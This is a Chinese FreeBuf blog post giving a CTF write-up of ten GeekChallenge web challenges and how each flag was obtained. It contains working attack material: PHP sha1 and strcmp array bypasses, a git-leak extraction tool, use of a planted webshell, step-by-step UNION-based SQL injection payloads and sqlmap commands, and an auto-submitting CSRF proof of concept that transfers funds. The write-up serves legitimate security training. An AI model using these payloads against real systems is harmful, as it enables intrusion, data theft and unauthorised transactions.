官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

Web安全

^{0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9}

GeekChallenge

儒道易行 2023-02-13 16:52:58 101855

所属地河北省

本文由儒道易行创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

2.GeekChallenge

1.web

1.朋友的学妹

url：http://49.234.224.119:7413/

右键点击查看源码，找到flag=U1lDe0YxQF80c19oNExwZnVsbGxsbGx9

在这里插入图片描述

然后base64解码得到SYC{F1@_4s_h4Lpfullllll}

在这里插入图片描述

2.EZwww

url：http://47.100.46.169:3901/

根据网站提示备份是个好习惯，猜测可以进行敏感文件扫描

在此使用御剑，发现www.zip文件

在这里插入图片描述

访问该文件下载并解压得到flag文件

在这里插入图片描述

打开得到flag：SYC{th1s_1s_4_f4ke_fl4g}，这个falg是错误的

在这里插入图片描述

打开index.php文件，审计代码发现

在这里插入图片描述

这段代码的意思是对该段字符串”c3ljbDB2ZXI=“进行base64解码，结果为sycl0ver，并且以post的方式提交数据a=sycl0ver,

在这里插入图片描述

即可得到正确的flag：SYC{Backup_1s_4_good_h4bit_l0l}

在这里插入图片描述

3.刘壮的黑页

url :http://106.54.75.217:8080/

访问该网站，根据提示”你听说过请求方式吗“，可以判断跟GET/POST请求有关

往下翻查看源代码

在这里插入图片描述

这段代码的意思是当用GET方式提交admin值为username参数，用POST方式提交syclover值为password参数时，就会输出flag

在这里插入图片描述

得到flag为SYC{d0_y0u_k0nw_GET?}

在这里插入图片描述

4.欢迎

url：http://49.234.224.119:8000/

根据提示知道不能用GET请求，所以我们可以用burp抓包，修改为POST请求，放包

在这里插入图片描述

得到一段源代码，审查该代码

在这里插入图片描述

此段代码是shal加密函数绕过，意思是说需要提交的参数

前一句roam1与roam2的值或者类型不相同

后一句roam1与roam2的值和类型都相同

参考

x !== y	绝对不等于	如果 x 不等于 y，或它们类型不相同，则返回 true	5!=="5" 返回 true

x === y	绝对等于	如果 x 等于 y，且它们类型相同，则返回 true	5==="5" 返回 false

因为在php中sha1函数无法处理数组,当处理数组时会返回false

两者都为false即可绕过强比较

在这里插入图片描述

构造语句，POST方式提交

roam1[]=1&roam2[]=2

在这里插入图片描述

得到phpinfo页面，搜索，发现这个文件有问题f1444aagggg.php

在这里插入图片描述

通过burp，使用POST方式，访问该文件得到flag：SYC{w31c0m3_t0_5yc_r0@m_php1}

在这里插入图片描述

5.EZgit

url：http://47.100.46.169:3902/

根据提示，本题与git文件泄露有关

下载GitHack-master，使用GitHack.py进行扫描目标网站（注意：这个脚本只能使用python2运行，python3无法运行）

在这里插入图片描述

然而并没有得到正确flag

在这里插入图片描述

访问http://47.100.46.169:3902/.git/

后来知道是git版本错误,更换工具Git_Extract-master

kali里输入：

git clone https://github.com/style-404/Git_Extract.git

在这里插入图片描述

cd Git_Extract

dir

在这里插入图片描述

python2 git_extract.py http://47.100.46.169:3902/.git/

在这里插入图片描述

得到flag：SYC{I_l0ve_sycl0ver_l0l}

在这里插入图片描述

6.我是大黑客

url：http://39.106.144.160:100/

访问网页，发现liuzhuang.php.bak文件

在这里插入图片描述

浏览器访问该文件

在这里插入图片描述

下载下来打开，是一句话木马

在这里插入图片描述

浏览器访问http://39.106.144.160:100/liuzhuang.php

使用蚁剑进行连接，打开终端

cd ../../退出到根目录

find flag查找flag文件

cat flag查看flag文件得到flag：SYC{1iuzHuang_yyd_G0d!}

在这里插入图片描述

7.ezbypass

url：http://49.234.224.119:7417/

浏览页面，根据提示要以GET方式提交a和b两个变量，并且与strcmp的值比较，并让strcmp返回NULL值

在这里插入图片描述

注意a和b不能相等

strcmp()函数只有在相等的情况下返回0。当strcmp函数比较出错的时候就会返回NULL(也就是0)值

构造url：http://49.234.224.119:7417/?a=1&b=2

在这里插入图片描述

努力，构造url：http://49.234.224.119:7417/?a[]=1&b=2

在这里插入图片描述

根据提示，以POST方式提交一个不是数字的变量c=123a

php弱比较(==) 若字符串以数字开头，则取开头数字作为转换结果，若无则输出0

在这里插入图片描述

得到flag：SYC{php_4s_so_funny}

8.带恶人六撞

url：http://49.234.224.119:7415/

根据提示，数据库里有大家关于他的描述

与数据库有交互的地方就有可能产生SQL注入

第一种方式手注

直接构造?id=1页面正常

直接构造?id=1'页面报错

在这里插入图片描述

此处存在SQL注入

第一种方法，手注

判断字段数为4

?id=1' order by 4-- q

在这里插入图片描述

判断回显点,我们可以在1,2,4处查询我们想要的内容

?id=-1' union select 1,2,3,4-- q

在这里插入图片描述

查询数据库名为geek_sql

?id=-1' union select 1,2,3,database()-- q

在这里插入图片描述

查询数据表名为blog,fllllag

?id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()-- q

在这里插入图片描述

查询fllllag表下的字段名为id,fllllllag

?id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fllllag'-- q

在这里插入图片描述

查询fllllllag字段的内容welcome_to_syclover,longlone_need_gf,得到SYC{liuzhuang_4s@G00d_m@n}

?id=-1' union select 1,2,3,group_concat(fllllllag) from fllllag-- q

在这里插入图片描述

第二种方式sqlmap跑

查询数据库名为geek_sql

Sqlmap -u http://49.234.224.119:7415/?id=1--dbs --batch

在这里插入图片描述

查询数据库geek_sql的数据表名为blog,fllllag

Sqlmap -u http://49.234.224.119:7415/?id=1-D geek_sql --tables --batch

在这里插入图片描述

查询fllllag表下的字段名为id,fllllllag

Sqlmap -u http://49.234.224.119:7415/?id=1-D geek_sql -T fllllag --columns --batch

在这里插入图片描述

查询fllllllag字段的内容welcome_to_syclover,longlone_need_gf,得到SYC{liuzhuang_4s@G00d_m@n}

Sqlmap -u http://49.234.224.119:7415/?id=1-D geek_sql -T fllllag -C fllllllag --dump --batch

在这里插入图片描述

9.flagshop

url：http://173.82.206.142:8005/index.php

根据提示使用用admin账号登录，盲猜密码admin，成功，也可用burp爆破

在这里插入图片描述

在主页的flag商店页面，下拉，点击购买flag的链接

在这里插入图片描述

考点:csrf(跨站脚本攻击)

在这里插入图片描述

提示：

没有sessionid！别想当管理员（机器人？）

你知道csrf吗？

通过提示知道不需要通过伪造session来成为管理获得钱

进入页面,进行登录注册到达主页

在这里插入图片描述

可以看到购买flag需要10000M

在这里插入图片描述

可以通过Longlone(财务部部长)账户进行突破

跳转到报告页面

在这里插入图片描述

可以看到这里是普通用户和Longlone用户可以交互的地方

当我们提交报告中有链接时,他就会点击链接

这时候就要构造csrf来进行金币盗取

在这里插入图片描述

查看表单信息

验证码通过python脚本撞md5得到

import hashlib

for i in range(9999999):
  md5_ins = hashlib.md5((str(i)).encode('utf-8'))
  a=md5_ins.hexdigest()
  if a[:5] == "6d996":
      print(i)
      break

在这里插入图片描述

构造csrf脚本

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
  <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="target" value="re1wn" />
    <input type="hidden" name="money" value="100000000000000000000000000000" />
    <input type="hidden" name="messages" value="nihao" />
    <input type="submit" value="Submit request" id="click"/>
  </form>
  <script type="text/javascript">
    document.getElementById("click").click();
  </script>
</body>
</html>

提交到自己的服务器上,在将链接通过报告提交

过一会就会得到自己需要的钱,直接购买flag即可

得到flag：SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}

在这里插入图片描述

10.忏悔的刘壮

漏洞url： http://120.79.197.4:5000/do_answer

考点：爬虫

题目,每次选择一个选项有1/6概率成功

当一次失败后又会重新累计忏悔次数

在这里插入图片描述

查看请求头,知道了每次get访问时cookie中就有答案

在这里插入图片描述

写出爬虫脚本带着cookie中的答案多次提交

import requests

def request_func(req):
  request_n = request.post("http://120.79.197.4:5000/check",data=req.cookies)
  print(request_n.text)
  return request_n

request = requests.session()
req = request.get("http://120.79.197.4:5000/")
req2 = request.post("http://120.79.197.4:5000/check",data=req.cookies)
print(req2.text)
need_req = request_func(req2)
i = 0
while i < 20:
  i += 1
  need_req = request_func(need_req)